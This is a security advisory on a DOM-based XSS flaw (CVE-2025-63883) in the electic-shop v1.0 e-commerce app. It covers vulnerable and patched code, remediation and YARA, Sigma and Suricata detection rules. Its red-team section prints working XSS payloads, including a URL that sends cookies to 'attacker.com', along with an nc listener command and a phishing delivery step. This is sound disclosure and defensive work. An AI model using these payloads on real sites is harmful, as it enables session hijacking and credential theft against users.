CVE-2025-63883

Executive Summary

CVE-2025-63883 is a DOM-based Cross-Site Scripting (XSS) vulnerability in the electic-shop v1.0 e-commerce application developed by Bhabishya-123. The vulnerability resides in client-side JavaScript that reads attacker-controlled input from URL fragments or query parameters and unsafely inserts it into the DOM using sinks like innerHTML, insertAdjacentHTML, or document.write without sanitization. An attacker can craft a malicious URL that, when visited by an authenticated or unauthenticated user, executes arbitrary JavaScript in the victim’s browser under the electic-shop origin. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites.

Supply Chain & Package Security

This is a standalone PHP/JavaScript application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 6.1 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must click a crafted link)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium – Exploitation requires user interaction but can lead to full account compromise if session tokens are stolen.

Deep Dive & Mechanics

The vulnerability is a classic DOM-based XSS. The application’s JavaScript reads data from location.hash, location.search, or document.URL and directly assigns it to innerHTML or similar DOM manipulation methods. For example, a product detail page might use:

var productName = new URLSearchParams(window.location.search).get('name');
document.getElementById('product-title').innerHTML = productName;

An attacker can craft a URL like:

https://victim-shop.com/product?name=<img src=x onerror=alert(document.cookie)>

When the victim visits this URL, the browser executes the injected JavaScript. The attack does not require any server-side interaction; the payload is processed entirely in the client.

The vulnerable code is likely in files such as js/main.js, js/product.js, or inline scripts in PHP templates. The application uses unsafe DOM sinks without encoding or sanitization.

Vulnerable vs. Patched Code

Vulnerable Code (JavaScript):

// Vulnerable: direct innerHTML assignment
function displayProduct() {
    var params = new URLSearchParams(window.location.search);
    var name = params.get('name');
    document.getElementById('product-title').innerHTML = name;
}

Patched Code (JavaScript):

// Patched: use textContent or sanitize with DOMPurify
function displayProduct() {
    var params = new URLSearchParams(window.location.search);
    var name = params.get('name');
    var sanitized = DOMPurify.sanitize(name);
    document.getElementById('product-title').textContent = sanitized;
}

Alternatively, use textContent instead of innerHTML to prevent HTML injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install electic-shop v1.0 on a local server (XAMPP, LAMP, or Docker).
2. Identify the vulnerable page (e.g., product.php or index.php).
3. Craft a malicious URL.

Exploit Payload:

https://victim-shop.com/product?name=<img src=x onerror=alert('XSS')>

Advanced Payload (Session Hijacking):

https://victim-shop.com/product?name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Steps:

1. Host a listener on attacker machine: nc -lvnp 8080
2. Send the crafted URL to the victim via phishing email or social media.
3. When victim clicks, the payload executes and exfiltrates cookies.

Blue Team

Detection:

• Monitor web logs for unusual URL parameters containing <script>, <img onerror>, or encoded variants.
• Use browser-based CSP headers to block inline scripts.
• Deploy WAF rules to block common XSS patterns.

Hunting:

• Search for innerHTML, insertAdjacentHTML, document.write in JavaScript files.
• Review URL parameters for HTML/JavaScript injection attempts.

Indicators of Compromise (IOCs)

• URL Patterns: ?name=<script>, ?name=<img onerror=, ?name=javascript:
• Network Traffic: Outbound connections to attacker-controlled domains from the victim’s browser.
• Log Entries: HTTP requests with %3Cscript%3E or %3Cimg%20onerror%3D in query strings.
• File Hashes: No specific file hashes; the vulnerability is in the source code.

Detection Engineering

YARA Rule

rule detect_dom_xss_electicshop {
    meta:
        description = "Detects DOM-based XSS patterns in electic-shop JavaScript"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-63883"
    strings:
        $sink1 = "innerHTML"
        $sink2 = "insertAdjacentHTML"
        $sink3 = "document.write"
        $source1 = "location.hash"
        $source2 = "location.search"
        $source3 = "document.URL"
    condition:
        any of ($sink*) and any of ($source*)
}

Sigma Rule

title: DOM XSS in electic-shop via URL Parameters
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential DOM XSS exploitation attempts against electic-shop
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script>'
            - '<img onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of script tags in search queries (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63883 DOM XSS in electic-shop"; flow:to_server,established; content:"GET"; http_method; content:"?name="; http_uri; pcre:"/(<script|<img\s+onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Sanitize Input: Use textContent instead of innerHTML for dynamic content.
2. Encode Output: Apply context-aware encoding (HTML entity encoding) before DOM insertion.
3. Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Input Validation: Validate and reject any URL parameters containing HTML tags or JavaScript protocols.

Long-Term Fix:

• Upgrade to a patched version if the vendor releases one.
• Conduct a full code review of all client-side JavaScript for unsafe DOM sinks.
• Implement a security library like DOMPurify for sanitization.

Workaround:

• Use a Web Application Firewall (WAF) to block malicious payloads.
• Educate users not to click on suspicious links.

Valters IT
Securing Digital Frontiers